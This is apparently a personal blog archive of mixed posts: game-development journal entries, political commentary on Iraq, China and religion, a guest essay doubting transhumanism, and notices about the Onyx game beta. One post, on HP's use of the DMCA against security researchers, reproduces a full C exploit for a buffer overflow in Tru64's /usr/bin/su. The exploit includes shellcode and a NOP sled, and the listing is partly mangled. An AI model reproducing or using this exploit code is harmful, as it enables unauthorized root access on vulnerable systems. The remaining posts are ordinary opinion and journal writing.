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Filed Under: Journal - Development

I dug back into some game development tonight and was pleasantly surprised to find I had forgotten slightly less than I'd expected.

Change can be a good thing, I'm learning. I've been a rather unmovable object in some of the development decisions I've made in the past, and I think I've been worse off for it. Just like every other developer out there I went through a phase of Not Invented Here, but I think many vestiges of that anti-pattern have stayed with me longer than they should have.

I'm giving eclipse a try and finding it far less objectionable than I'd expected. I certainly wouldn't have been willing to do anything with it a couple years ago. I'm still not willing to hand the full build configuration over to it, but maybe I'm growing up just a little.

For that matter, I think I'm finally going to be willing to use a 3rd party engine to take care of rendering. That's something I've been completely unwilling to release control of whilst simultaneously being absolutely dreadful at implementing solutions myself.

It's exciting that by lowering some of my ideological shields I may have gained (proper) access to Windows and the iPhone, not to mention other possibilities like consoles.

There is nothing really to be said about the projects themselves at this point, so I shall stop rambling and go to bed.

I'm never going to accept spaces instead of tabs, though. Till the grave.


Filed Under: Journal - Site Maintenance

In order to simplify transition work from JW to the new ACNet base I'm freezing portions of the site which may cause volatility in the database. This includes, but may not be limited to, the external news feeds, anything profile related and all of the commenting systems on the site. These changes should be complete in early April.



Filed Under: Journal - Guest Journals

Not a transhumanist

2008.09.18 03:56pm
Notice: This article was contributed by a third party author.

It probably strikes people as odd that I am a computer engineer without much faith in technology as a force for Good. It certainly seems weird to me. A bit over a decade ago, when frustration at the way the world works was first bubbling over in me, I still saw technology as a hope, at least for things like pollution and disease and the like. But my thoughts in the past 5 years have led me to visit the thoughts of the critics of civilization and technology, at least that more advanced than clothes and shelter.

Recently I have come to know several people who proclaim themselves as futurists or transhumanists, believing that the rapid acceleration of, amongst other things, information and medical technology will overcome a large cross-section of the problems of humanity. Certainly, there are technological trends that appear to following an exponential curve, leading to, at some point in the nearish future, a so-called "singularity" in which technological progress will become so accelerated that humanity will be utterly transformed.

One of these futurists has a professor who declared that no technological advancements in the last 20-30 years have significantly changed human lives, at least in the NorthWest (I will confine my discussion to that area, given that I have little direct experience with the other 3/4 of the globe. I also doubt that many outside of the NorthWest will ever read this, unfortunately.). This sounds like a pretty radical proposal, given that we have computers and cell phones and MP3 players and a host of other machines and gadgets that our parents never grew up with.

It didn't take me long to agree with his thesis. In fact, it makes quite a lot of sense if you also believe in the related idea that there have been no significant scientific breakthroughs since the 50s. The 20th century saw the discoveries of relativity, quantum mechanics, and DNA, all of which revolutionized scientific thought. However science hasn't had a big find since then, 60 years later, and there are really only two possible explanations: either we've identified "the big problems" and are working on filling in the gaps, or there are some surprises coming along.

It's not that technology hasn't progressed or been refined; rather, the trends started over the last few hundred years have been extended naturally. However most of these developments haven't had a profound effect on people's lives, certainly not as profound as the original development. Undoubtedly there are cases in which modern technology has transformed people's lives. Medical discoveries to formerly incurable or untreatable diseases (though how many have their been, compared to the discovered of vaccines a century ago?) means that small portions of our populace can live longer and better lives. Heck even telecommuting has improved lives by avoiding the notoriously aggravating process of the daily commute. But to be really revolutionary, technology has to affect the lives of the majority. Let's go through a couple cases of recent developments and see if they have significantly benefited the populace.

When I was young, there wasn't really such as thing as a cell phone. There were expensive, large wireless phones, but they lacked the defining characteristic of contemporary cell phones: portability. Now nearly everyone has one. Has this not significantly changed our lives?

No, I daresay it hasn't. Sure, we talk on the phone more—but kids when I was young spent hours on the phone just the same. They just do it out of the home now. True, having a cell phone can be a godsend when disaster strikes, but how many people do you know whose cell phone has saved their lives or limbs? Not many, I'm betting. So really the cell phone is an extension of the original invention of the phone 100 years ago—that undoubtedly changed lives, being truly revolutionary technology that affected both the home and the workplace, but there's nothing revolutionary in disconnecting the phone from the wall and carrying it around with you.

Another item that leaps to mind is the Internet. Acknowledging that its roots lie about 30 years ago, there's no question that the Internet we know today really got off the ground in the 90s, so that makes it a recent-enough invention. So what has it given to the average citizen? Communication and knowledge tend to be the answers we hear, but how has that changed our lives? We can now talk to people farther away for cheaper (at least, by text if not by the still nascent VOIP), and even people across the planet, for essentially free (or at least for a flat rate). But what about our daily life changes because of this? More communication, but, let's be honest, most of that communication is fairly vapid, if fun, and again it seems like just a further extension of the telephone. More knowledge? Definitely. It's arguable if the knowledge stores on the Internet constitute a revolution in themselves or if it is an extension of the invention of the printing press. Regardless, so far, this increased access to information has done precious little to remedy the woes of the world. If anything, it's downright embarrassing that we have so much information available yet continue to suffer needlessly.

Technology is supposed to make our lives easier; in utilitarian terms, all the new developments are supposed to bring us increased utility. The standard workweek is still 40 hours—a victory won over a hundred years ago. (And let's not forget the legislation proposed in Ontario a few years ago to "optionally" increase the workweek to 60 hours.) All our technology seems to be doing is giving us new ways to distract ourselves in our free time—on the phone, watching high-def TV, surfing through blogs and YouTube videos—without actually increasing our free time. All this technology should theoretically be increasing our productivity through corresponding gains in efficiency; to put it another way, we should be doing less work to secure more, or at least as many, resources. However we still fight for employment, when we should be fighting for better resource distribution. For the purposes of this argument I don't even mean completely equitable distribution—but surely some of the gains in efficiency should have translated into a consensus, or at least a majority, or even a sizable minority, that there's less work that needs to be done, and not into demands for more work to be created so we can earn the resources that are already there.

(To head off a possible critique, yes, the option exists for some people to work fewer hours and still live a decent life. However in most companies part-time work is rare and low-end, with low per-hour pay and rarely any benefits. Truly flexible hours, like the kind contractors and consultants have, are usually reserved for people with fairly specific, uncommon expertise.)

So, as usual, the problems appear to be social, and not technological. Progress of social welfare appears to have leveled off, at best, or more realistically decreased—the average wage of Canadians has gone down since the 1970s, inflation included, but the cost of living has only increased—so what are we doing with this technology? Using it to create more work, I guess, and therefore more drain on our resources.

To end this on a slightly positive note, as least we appear now to have the technological means to honestly start increasing our standards of living, assuming we correct the social factors that are preventing this from happening. As Murray Bookchin wrote 40 years ago, "This technological revolution . . . has created the objective, quantitative basis for a world without class rule, exploitation, toil, or material want." Or as a friend of mine said, "where are my flying cars?" except I would forget the flying car and just settle for more time to dream of them. It's too bad, but hardly surprising to me, that technological problems appear to be easier to solve than social ones...


Filed Under: Journal - General

I'm still choking on a full article about the Olympics, which I'll probably never finish, but until then it feels like I should at least post some required viewing. Anyone who has spent any time out with me drinking, during or since the opening ceremonies of the Olympics knows that I have less than total respect for the games, or the West's passive approval of growing fascism and slave labour; that may go a ways in explaining why I'm having so much trouble trying to get a couple coherent sentences together without dissolving into a frothy mess of disconnected cursing.

At a minimum, I think it's safe to say that our standard cowardice, hypocrisy and criminal neglect for the principles we claim to hold dear is nothing short of breathtaking. But don't worry about all that, Michael Phelps broke several world records, including the most gold medals won in a single Olympics for ... swimming really, really fast. No, I mean really fast. In an enclosure of water he can get from one end of the enclosure to the other really, really fast.

I'm assuming that if he's still alive Ji Sizun will join us in our pathetic cheering as soon as the Chinese police stop torturing him.

BILL MOYERS: With a small group of media was in tow as protection, Ji went to police headquarters to file his request [for a permit to protest]. One of his friends had come here just days before to seek permission and he vanished.

Right away, Ji was treated as a suspect. For three hours, he was interrogated in a closed room. He emerged defiant and frustrated.

JI SIZUN: We had a heated discussion. They won't approve anything. They won't even accept my application.

BILL MOYERS: As Ji left, plainclothes police kept him under surveillance.

This is one of three parks in Beijing that the government set aside for demonstrations. We didn't see a banner, picket sign or protester in sight. In fact, all these days into the Olympics, the government has yet to permit a single demonstration in any of the official protest zones. Except for strollers, the park was empty, because China claims that only 77 applications were filed, and all but three were withdrawn, says the government, because the petitioners had their complaints satisfied. Those other three? "Oh", says China, "turned down on technicalities." Nothing is as it seems.

Two days later, Ji went back to the police station to ask about his missing friend. Witnesses said Ji was led by plainclothes policemen into a dark sedan, then gone...disappeared.

After the fact...

Keep Watching

2008.08.24 12:22pm
The interview with Philip Pan is also terribly interesting, and worth checking out.


Filed Under: Journal - General

Grey haired and disheveled and wild he tells me how he can sell me pot on the right day if I "look him up".

Ryan (presumed spelling) is jokingly "self employed" on or about the corner of Duluth and St. Laurent; and he works his corner for ten dollars to get access to the Salvation Army shelter and a hot meal. He asks if I have any spare change while I fumble with my ipod earphones trying to stuff them into my pocket. I hope the change I have there doesn't make too much of a noise while I do.

I get the impression that fully erect he would be taller than me, but instead he stands hunched a half foot below my eye-line impassionately making his pitch with a cigarette dangling precariously from his mouth. He tells me how taking marijuana in a tea will defeat the normal paranoia the the drug seats me with; the excuse I use to refuse his offers to sell some to me. He tells me how he likes to drink some tea, "throw his guts up," and then take some Valium to go to bed.

I offer another negative to his offer to deal for me as I notice a burn scar on his face. I ask as innocently as I can think of how he has ended up in a tattered jacket, unkempt beard and a seemingly good natured state of homelessness.

"LSD" he says. "I got in a car and I killed a guy. I don't even remember it." He continues, "I've been guilt tripping ever since."

I stupidly tell him that he's not doing himself, or anyone else any good at the moment with the intent to suggest he move on. I instantly regret it. He doesn't seem to take it as an insult any more than I meant it to be one, though it was.

Curious about the US recession, the effects of which on the Canadian economy I haven't followed, I ask how "business" has been going.

"I was asking down there [Avenue des Pine and St. Laurent] and a guy took out a ten so I could stay at a shelter; some other guy just walked by and took it saying 'thanks' and walked off."

His English is smooth and clean, and he seems like someone I could hold a conversation in with.

I ask him if things are going worse for him lately and he stops for a second to think. "Yes, I think so." Then launches into another pitch about how he could use a meal from the shelter.

Ryan. He works St. Laurent near Duluth with a dirty face, wild hair and clever eyes. Ryan, a hunched man my dad's age killed a guy, and has been guilt tripping ever since.

I hope he spends the money on food and not beer. I hope he can find the other end of that "guy he killed" somewhere other then the bottom of a pint, or in the bottom of a toilet after a cup of a doped tea.

I think I'll order in; after all, it has been a rough night.



Filed Under: Front Page

I couldn't find a good, simple source code highlighter for C/C++ and PHP online, so I wrote one. Now hopefully other people will be able to find a simple source highlighter for C/C++ and PHP here.

There are even examples of its basic trickery available too, right here on the examples page.



Filed Under: Front Page

Yay for me! The new news engine is on-line and ready to go. Soon all news items will be neatly filterable and searchable by date AND keywords.

Isn't that downright nifty?

Anyway. I'm tired. Go away.

(Update 2002. by Jimmy)

Anyone who wants to be able to post news items, just let me know. For now I have to toggle a little byte someplace in the deep recesses of a database to turn it on. After that announcements can be added from the Your Jw section.



Filed Under: Journal - General

This item really doesn't need much explanation. I'll just give you the links and the titles, and I'm sure you can roll your eyes, all on your own.

Microsoft Wins Homeland Security Contract

And now less than a month later:

HomeSec Warns Again About Microsoft's Insecurity

I guess this isn't really a bad thing so much as a stupid thing. The Department of Homeland Security has very little to do with security, and a whole lot to do with informational awareness and population control. I suppose the dumber they act, the better off we all are. Especially Americans.



Filed Under: Miscellaneous

Hewlett Packard, who recently urged Bruce Perens to back down in his demonstration against the DMCA, is now using the very same law as a club to beat security experts SnoSoft for posting a security flaw in HP's Tru64.

The exploit itself, just to be precise, is attached to this post.

I will of course take it down if anyone requests :)

0001 #include stdio.h
0002 #include stdlib.h
0003 #include string.h
0004 #include unistd.h
0006 char shellcode[]= "x30x15xd9x43" "x11x74xf0x47"
0007 "x12x14x02x42" "xfcxffx32xb2"
0008 "x12x94x09x42" "xfcxffx32xb2"
0009 "xffx47x3fx26" "x1fx04x31x22"
0010 "xfcxffx30xb2" "xf7xffx1fxd2"
0011 "x10x04xffx47" "x11x14xe3x43"
0012 "x20x35x20x42" "xffxffxffxff"
0013 "x30x15xd9x43" "x31x15xd8x43"
0014 "x12x04xffx47" "x40xffx1exb6"
0015 "x48xffxfexb7" "x98xffx7fx26"
0016 "xd0x8cx73x22" "x13x05xf3x47"
0017 "x3cxffx7exb2" "x69x6ex7fx26"
0018 "x2fx62x73x22" "x38xffx7exb2"
0019 "x13x94xe7x43" "x20x35x60x42"
0020 "xffxffxffxff";
0022 main(int argc, char *argv[]) {
0023 	int i, j; char buffer[8239]; char payload[15200];
0024 	char nop[] = "x1fx04xffx47"; bzero(&buffer, 8239);
0025 	bzero(&payload, 15200);
0027 	for (i=0;i8233;i++) buffer[i] = 0x41;
0029 	buffer[i++] = 0x01; buffer[i++] = 0x04;
0030 	buffer[i++] = 0x01; buffer[i++] = 0x40;
0031 	buffer[i++] = 0x01;
0033 	for (i=0;i15000;) { for(j=0;j4;j++) { payload[i++] = nop[j]; } }
0034 	for (i=i,j=0;jsizeof(shellcode);i++,j++)payload[i] = shellcode[j];
0035 	printf("/bin/su by phasedn");
0036 	printf("payload %dbn", strlen(payload));
0037 	printf("buffer %dbn", strlen(buffer));
0038 	execl("/usr/bin/su", "su", buffer, payload, 0);
0039 } 



Filed Under: Charity

Just a short update, a very long time in coming. The Animal Housing project is not dead in the slightest. I've been trying to contact the author of the Gazette story to organize some kind of unified movement towards replacing the shelter which was destroyed, but my correspondence has fallen into some kind of black hole. The nature of that black hole in uncertain. It may be purposeful, or it may be bureaucratic.

Regardless of the reason, I think it's time to give up on unifying with any kind of established structure for the purpose of rallying. That leaves us to find a path on our own. This effort isn't over, it just stalled. It is stalled in a way I don't intend to become stalled in again.

What we need now is an intelligent way forward, and a solid goal. I'll be looking into individual organizations to find out where an infusion of money would be best allocated to do the most good, but what I'd really like is to find out what the community thinks would be a good way to proceed.

Please comment on this thread with any ideas you may have about the best way to progress with respect to fund raising, or fund dispersal. If anyone has any general comments, now would be a great time to raise them.

This isn't over.


Filed Under: Journal - General

The Fifth Estate brings us The Lies that Led to War, a CBC documentary which covers the lead up, and selling of the war. Originally aired March 7th 2007, this film pulls no punches while they look more deeply into the horrific acts of Saddam at Halabja in 1988, the source of Bush's mantra: he gassed his own people. Thankfully they add the important, but missing, appendage "... with our [USA] help".

After this refresher on the beginning of the mess in Iraq, take a look at Frontline's analysis of the 'Surge' and the decisions which led to its implementation: Endgame. In the eyes of many non-partisan officials the Surge is the last best hope for any kind of victory in, or even a graceful withdrawal from Iraq.

If you really feel like a depressing hundred hours or so, Frontline has a full listing of all of its films covering the War on Terror. That page is a treasure-trove of fantastic resources to learn more about the family of military conflicts which will speak to history books about our morality, civility and in many ways, our sanity.


Filed Under: Journal - General

June 5th 1989. In the mist of a gloomy morning true heroism was captured on film and has become an indelible symbol of courage and the purity of the human spirit that we should never allow ourselves to forget.

My wonderful girlfriend, Ayria got me a poster of the event which hangs on my wall, and that I look at every day, but that I rarely process for the act of pure strength of will it represents. In an environment more hostile that any of us can possibly understand a single man stood against the ultimate symbol of oppression and the weaker of us could only watch and hold our collective breath. Civilization faintly hoped that a country prison might change.

The Tank Man is a symbol of what we should all try to be in the face of terror and oppression, but he wasn't alone in his courage. Tiananmen Square, Beijing, and indeed more than 400 Chinese cities had become a seething mass of protest. Humanity en masse crystallized into an act of pure hope which was met by a military which was at times paralyzed by its own contemplation of what it is to be human, and at times succumbed to all the worst darkness of the human soul.

Thousands flooded the streets standing up for everything that is right about civilization and the evolution of society, only to be crushed under the wheels of dictatorship. Crushed, but not forgotten.

Please take 90 minutes of your life to learn more about the massacre at Tiananmen Square. It's one of the largest symbols of victory and defeat that we will ever encounter in our lives, and it should speak to us about how we lead our lives. Speak to us every day.

China is a dichotomy of progress and regression, and should enter our minds in the same thought as Darfur, globalization, appeasement and Taiwan.

China; 1,313,973,713 people and counting. One billion, three hundred thirteen million, nine hundred seventy-three thousand, seven hundred and thirteen people... one billion, three hundred thirteen million, nine hundred seventy-three thousand, seven hundred and thirteen of us... in need of democracy.



Filed Under: Journal - General

All I can say is that I hope you were right and there's a Hell, Jerry.

Also, make sure to catch BoingBoing's listing of Famous Falwell quotes.

After the fact...


2007.05.18 04:18am



Filed Under: Journal - General

Entirely a rehash of the older arguments made by Kirk Cameron and Ray Comfort on their site, The Way of the Master, the debate is still interesting to watch. I think the initial rebuttal by the The Rational response Squad was powerful, but was followed up by a somewhat rambling response by the tremendously attractive, but largely inarticulate Kelly (last name pending, since no one seemed to want to mention it). It seems clear that she was uncomfortable with the audience, and it seems unfortunately equally clear that her attire was chosen with ... intent. Still, it's very interesting to see what could be considered a rational debate, even if short.

The first part embedded, the continuation is linked.

Part 2, Part 3, Part 4, Part 5, Part 6.

Unfortunately the QA doesn't seem to be available.



Filed Under: Journal - General

Freedom of Religion

2007.04.27 02:43am

The Onion, of all sources, brought to my attention the recently rectified exclusion of Wicca from the "official' religious symbols allowed on the tombstones of veterans. The military is always slow to move on things like this, and they have since corrected their mistake, after extensive legislation of course; but what strikes me is that the most openly religious leader that the United States has ever seen had this to say about the the religion that wasn't his:

I don't think witchcraft is a religion, I would hope the military officials would take a second look at the decision they made.
-- George W. Bush, 1999 during an interview
with `Good Morning America'

I think any commentary I could make would be unnecessary.



Filed Under: Journal - General

The assertion in the second paragraph of the story MPs, environmentalists slam greenhouse gas targets claims that the new legislation would require "most of Canada's industries to reduce their greenhouse gas emissions by 18 per cent in three years," while in fact the legislation calls for an 18 per cent reduction in greenhouse gas intensity, not emissions.

This important distinction is acknowledged in the CBC's own story, Industry grumbles but says it can meet emissions targets, and I believe it should be acknowledged here as well. Intensity based greenhouse gas targets versus absolute targets is one of the most argued and misunderstood nuances of the environmental debate and I believe great care should be taken to highlight the difference whenever possible.


Filed Under: Journal - General

Tonight PBS will air the first episode of a new series called Bill Moyers Journal called Buying the War which will apparently be available online after airing tonight. This documentary will tackle the War in Iraq and seeks to hold responsible the press for its reprehensible behaviour during the run up to the war.

How did the mainstream press get it so wrong? How did the evidence disputing the existence of weapons of mass destruction and the link between Saddam Hussein to 9-11 continue to go largely unreported? "What the conservative media did was easy to fathom; they had been cheerleaders for the White House from the beginning and were simply continuing to rally the public behind the President -- no questions asked. How mainstream journalists suspended skepticism and scrutiny remains an issue of significance that the media has not satisfactorily explored," says Moyers. "How the administration marketed the war to the American people has been well covered, but critical questions remain: How and why did the press buy it, and what does it say about the role of journalists in helping the public sort out fact from propaganda?"

Bill Moyers, president of the Schumann Center for Media and Democracy has been retired for the last two years but returns to PBS tonight which is causing a mini-spectacle in the right wing media already trying to discredit Moyers before the the episode even airs. For anyone curious to hear more about Moyers and the premier Democracy Now! has extensive coverage of the premier and a lengthy interview with Moyers which aired this morning.


Filed Under: Journal - Site Maintenance

Service Outage

2007.04.22 04:23pm

Due to gross negligence on my part the JW Games, Onyx and a few other sites have been down since the 17th. At least for one more year everything should be up and well again.



Filed Under: Journal - General

For quite some time now the Catholic church has been investigating ways to strike limbo from the afterlife because of the understandably negative effect it has on converting people in regions of the world where infant mortality is high. This is particularly true in Africa where HIV/AIDS infection rate is tremendously high and many young children, and young adults are infected with the disease.

Unfortunately the Catholic church has stood steadfast in it's absolute refusal to accept or endorse the use of condoms which have a demonstrably positive effect on infection rates whenever used in concert with abstinence policies. Rather than reform its policies, however, with respect to responsible sexual practices the Catholic church has been desperate to reorganize the entire afterlife so parents aren't faced with the condemning their sick children to eternity in limbo. Furthermore, the church is desperate to make the change appear internally consistent within the scripture, something which is next to impossible to do.

Unsurprisingly the church refers to studies, commissions, research and other stealth pseudo-scientific constructions to give it's slow policy shift the cloak of legitimacy when ultimately what is really happening is a policy shift to increase membership. This is visible even in their own carefully chosen words:

Pope Benedict and his predecessor, Pope John Paul II, had urged further study on limbo, in part because of "the pressing pastoral needs" sparked by the increase in abortion and the growing number of children who die without being baptized, the report said.

Please consider the Catholic church's ghoulish and steadfast refusal to move into the 20th century of reproductive reality and save real, tangible lives while it is simultaneously, and cynicallyis willing to finagle changes to "perfectly true" doctrine to increase its membership the next time you are passed the collection plate.

You can learn a lot more about HIV/AIDS from the in-depth and powerful 240 minute film: The Age of AIDS on Frontline. Also, right here on Jimmy's World there are many guest submitted papers on HIV/AIDS in Bangladesh.


Filed Under: Journal - General

Frontline put a new film, Gangs of Iraq, up on the Frontline PBS site.

Gangs of Iraq is an expansive look at the growing sectarian violence in Iraq. So far it's painful, depressing, visceral, and very graphic. Required watching for anyone with an opinion about the US occupation in Iraq... so everyone.

After the fact...

Film Back Online

2007.04.23 03:53pm

Shortly after I posted this story the online version of the film went down, presumably for maintenance of some kind or another. The film is back up and running now.


Filed Under: Journal - Development

Is that all? This post is amazingly overdue so I'm going to try to cover everything as quickly as I possibly can. One thing at a time, so here we go:

Jimmy's World

Jimmy's World isn't actually dead. It looks dead, and it acts dead... and if one was to measure usefulness, or recentness, or value it would seem dead. It isn't. Trust me. Jimmy's World suffers from misfire problems. I've started at least 30 articles and written several pages only to realize I have neither the time nor the inclination to do the research necessary to cover the ground I wish to cover with the credibility that I feel I need to have. That is, I run the site like kindergartner but demand the accuracy of a university thesis. This results, somewhat predictably, in nothing ever being finished and published.

I have no solution for this. I state it only for the limited value of acknowledging it. Solutions are in the works, but, well, don't hold your breath.

Religion dot jimmysworld.org

I have no idea where to find the time to work on this project, but it has the potential to piss off too many people for me to just let it go. See Jimmy's World above for where this site sits. Not dead, just in carbon freeze.

The Unfortunately Esoteric Tale of libN2L-4, n2l5

LibN2L-4 is the backbone of Onyx and is a beautiful mess of poorly thought out dependencies, inappropriately categorized functionality, needlessly verbose code and really, really cool stuff. LibN2L-4 gave birth to DynVars, the ResourceManager and countless other really awesome chunks of code that I am going to labour very hard to finally give legs to. Enter n2l5.

The revised name, n2l5, is a symbol of where libN2L is going in the near future. It will be an improved, but smaller and more streamlined version of everything LibN2L-4 meant to do. The prefix 'Lib' is extraneous, the final 'L' of the acronym stands for library. A standing sentinel of duplication which had no business being there to begin with. The dash was syntactical complexity for no perceivable reason, a sign of ideology over reason. The four represents a fourth generation, when we all know that a fifth generation is bound to be better. You see how n2l5 fixes all these horrible mistakes.

In seriousness n2l5 will seek to cut the fat of LibN2L-4 and simplify the syntax while focusing on the functionality that should be in an underlying library. Where does that culled functionality go, you ask?

orange, and Orange

Orange was a codename assigned to a new game meant to occupy the Life2130 universe circa 2060-2100 shortly after the First Solar War as a sort of SimCity in space. The game lives on in a semi-mature design phase, renamed to ... something and Orange moves forward as the engine that will drive the games to come. Orange is the glue that LibN2L-4 inappropriately sought to be.

Designed and developed to simultaneously support Onyx, Onyx: Free Trader, Life2130 and orange (the first iteration): Orange will be the environment which will connect the power of n2l with the assets of already designed games. It will combine function with design.


Life2130 is evolving yet again. Yeah, I'm not talking about Life2130 yet.


The current codebase was declared dead as of 1:17am March 29 2007. the new codebase was born 1:17am March 29 2007. Onyx is dead, long live Onyx.

While long have I whined about the technical inadequacies of Onyx, particularly the physical and graphical inadequacies, on paper and in implementation Onyx had always been intended to pad my resume with game development goodness. It has totally and completely failed to do so. Now I realize I don't even want a game development job, and irregardless Onyx never fit the bill since as much as I may be proud of everything it was and everything it could do it simply doesn't look formidable enough to be worth anything.

Onyx was a failure and a success. I'm proud of what I accomplished on some levels, but what I accomplished has no externally visible value to speak of. Finally recognizing and fully digesting that fact leaves me with the inescapable conclusion that I need to close the book on Onyx the implementation and decide how I want to tell Onyx the story, if I want to tell its story.

Onyx the story is a story of the years 2108 to 2148 in the Life2130 universe and not 115,762 lines of C++, 71,541 lines of definition files and 850 meg of data. Realizing and accepting that lets me tell the story and divorce myself from the learning experience.

From this moment on Onyx will be restarted in concert with other projects and it will be back better, stronger and more descriptive of the universe it occupies.

And so...

And so JwGames moves forward. To define this turning point one needs to really define Onyx as an experience. How does one define Onyx? Onyx was a painful, bloody and crushing experience. Onyx was a vessel into which was poured the ill-conceived and outdated objectives of an extinct set of childish goals. Onyx became bitterness and cynicism crystallized. Onyx was a horrific, life-adjusting mistake. Onyx was and is a war that occupied 1370+ days, nearly 15% of my life and resulted in failure.

Onyx is an opportunity, and it sure as fuck isn't over yet.


Filed Under: Front Page

Onyx -- Not Dead Yet

2006.11.14 08:16pm

Wow. Onyx. It's been a really, really long time since I've posted anything. Long time and long overdue.

I wasn't going to, but I've decided to get back to work on Onyx 'full time' as much as a side project can be full time. I'm in the middle of some unrelated work at the moment, but once that's under control I'll get back to doing some more bug fixes and making some new maps. The biggest thing I'd like to actually get working is the first campaign. It was disappointing to do the earlier releases without any plot at all.

I'll try to get something up before the end of the month, but to be honest that doesn't seem likely. Most likely I'll look at getting a fairly full new release out before Christmas. I'll send an email out to the old beta testers when something is ready to go, and of course I'll post here as well.

Also, thanks to those who have been supportive and patient through this news black hole.



Filed Under: Journal - General

I've wanted to address the subject of religion in depth for a long time and finally I've gotten around to setting up a forum to do just that. This was a one night and nine beer project so there are definitely going to be problems, but the site is up. The site is up and almost completely empty.

Mostly I'm writing this announcement to test the news feeds on the JW Religion site but it's also to invite contributers to let me know if they'd like to get involved in the project. As to what contribution means you can take a look at the heavily truncated JW Religion Manifesto to get an idea.

Time to piss some people off.



Filed Under: Front Page

MPAA Bites Off More Than It Can Chew?

2006.07.25 09:32pm
Notice: This article was contributed by a third party author.

Looks like the MPAA might have found someone who won't back down when faced with their extortion techniques. Not to get into the rights or wrongs of downloading movies but you have to admit that calling up college students, grandmothers and single parents and demanding $2500 or else you'll sue them is a little on the shady side. Seems that they called up one Shawn Hogan and tried to pull that trick without realizing that Mr. Hogan is the CEO of Digital Point Solutions and a millionaire. Oops. He's going to do his best to force them to go all the way with this no matter the cost.

Start with the standard watered down Wired article then step over to Zeropaid for an actual interview with my new hero Shawn Hogan.



Onyx Beta Updates #3

2006.07.01 07:09am

Well, the beta is out to around 30-40% of users and I'm already getting lots of great feedback. Big thanks to everyone submitting bugs. The people involved have so far been pretty much perfect. Technology, however, not so much.

Important Updates

  • I've added a Workarounds page and moved the existing information there. There's also stuff for disabling joystick axis and video information.
  • I'm going to be out of town today in Ottawa celebrating Canada Day (Happy Canada day!) Don't expect super fast turnaround from me until the middle of Sunday afternoon. I'll try to answer urgent questions from time to time.
  • I've fixed the bug tracker to not send out huge unbroken lines of text which cause all sorts of mangling in email clients. Also, anyone not interested in followup information about the bugs they file can use the "Stop Watch" link in the bug, or on the bug list page to unsubscribe from updates.
  • Testers who created accounts but didn't tell me should let me know if they want to be added to the project. I've added some people myself, but I don't recognize everyone. It doesn't matter all that much, but if you want to be listed on the project page and a couple other little things, you have to let me know.
  • Testers can also feel free to send random comments, critiques, etc. directly to me if the tracker doesn't provide an interface that makes sense for what you want to say. Also, my profile page: Aaron has my MSN and ICQ information, feel free to contact me that way.

Other Problems

I made a big deal out of not requiring people to sign up on the site to contribute, and I stand by that, but it has caused an unforeseen problem. Some people have filed bugs with questions and I've answered them, but since they're anonymous they won't get the answer. You still don't have to sign up, but you'll have to go digging through the bugs (also check fixed bugs in the limited release) to find what you'd submitted and look for my response in the notes.

Alternately, after filing a bug testers can click on the "Watch this item" link in the bug header and enter an email address on a case by case basis.

I'd manually send people an email with an answer, but anonymous really means anonymous on Jimmy's World. I have no way to find out who you are. I"ll let each tester decide what they want to do with this situation.

Again, thanks to all the testers. You're doing great work.





Filed Under: Front Page

  • The bug submission page (http://onyx.jwgames.org/bug.html) apparently didn't work properly in IE, it seems to be fixed now.
  • People with outgoing BitTorrent ports blocked may find their connections strangled, and therefore stuck at some arbitrary percentage. I'm working on fixing it.
  • I've started an IRC channel, on irc.freenode.net called #OnyxBeta for anyone who wants to join.



Filed Under: Journal - General

In a purely masturbatory moment I'm going to quote a story I posted some hundred days ago, This, Quite Frankly, Is Terrifying..

...at this point the arrested politicians and reporters would be big news, and there would be a big political hubub about it, but the administration has already established that enemies of the state (sorry, terrorists) can be whisked away to Guantanamo Bay for less.


It's worth repeating that now that the administration is setting up informants and the press as criminals for disclosing information it considers sensitive the ONLY step left is to further assert that those disclosures are seditious, an assertion that I'm sure the likes of O'Reilly, Hannity and Coulter have already made. They'll become the echoing resonance chamber through which public approval is solidified. The pieces are moving.

Sound familiar?



Filed Under: Journal - General

Alright, I might as well start cross-posting these things to my site since I spend more time writing in other journals than my own. I'm a little unsure how to start formatting these responses so no promises about readability yet:

From Stop the ACLU - When You're In A Glass House... Don't Act like Jack Murtha Raging Anura posted a nice little satire comparing Jack Murtha's comments about Karl Rove's speech in New Hampshire. It is a beautiful example of deflection and slight-of-hand managing to completely ignore what is said and convert it into personal attack (see: Jabba The Hut), and distortion of previous events (see: Murtha's speech about Haditha). I'm aware that Murtha's statements about Rove's "fat backside" are about as personal as attacks can get... one thing at a time.

And the response

Wow. You managed to miss the entire substance of what he said. Impressive.

To start: `Not counting the fact that all evidence indicates that Karl Rove's office is not in New Hampshire'

Shows a nice little bit of entirely missing the fact that the speech Murtha was responding to was given in, you guessed it, New Hampshire. You might have caught that fact if you'd have read the deeply elusive allusion disclosed in THE FIRST TWO SENTENCES: `He's in New Hampshire. He's making a political speech.'

While this speaks volumes of the careful analysis you did of what he said, I'll push on.

You don't have to parse Murtha's statements that carefully to catch that he's saying that a politician with absolutely nothing to lose should offer more of a plan than `stay the course', which is open-ended and provides no road map for ending a conflict which is costing America's young their lives. As for the sitting in an air-conditioned studio, I think after 37 years of service, and being of ripe old age of 74 he's done his duty to the military already.

It also ignores the speech which inspired this response. The speech in which Rove, yet another draft dodger (though, I'll give him credit for at least finding out where in the lottery he was before getting a deferment, unlike Cheney or Bush's defacto deferment) is attacking Kerry and Murtha for being cowards who'll run at the first sign of trouble. Of course, those he's attacking actually DID serve, and actually DID see combat. This is so brazenly hypocritical it's unbearable. It also shows a common tactic: take your opponent's advantages and pretend they're somehow a disadvantage, whilst claiming your disadvantage as an advantage. A tactic I have to show disgusted respect for when it's so painfully successful in the media. It also is an attack based entirely on the idea that a politician should never, ever, ever change their minds based on the changing face of reality. A mind-numbingly stupid idea, to say the least.

Finally: `Congressman Murtha one one basic truth he may have blissfully overlooked: his star may be bronze, but silence is golden.'

You have GOT to be kidding. If a congressman in a time of war isn't supposed to be talking about the war in progress, who the heck is supposed to be? I could sure rant on, but this is already longer than it should be. I'm not a Democrat, but I'm one of those `crazy far left fringe liberals' (who are tremendously common for how crazy, far and fringe it is), and I'm willing to admit when a liberal says something inappropriate and stupid. You might consider doing the same.



Filed Under: Journal - General

This is a mixed bag post. Off we go;

Google Earth on Linux

Google Earth is now available (native) for Linux. Let me tells yeah, it works smooth as can be. Huzza!

Ann Coulter

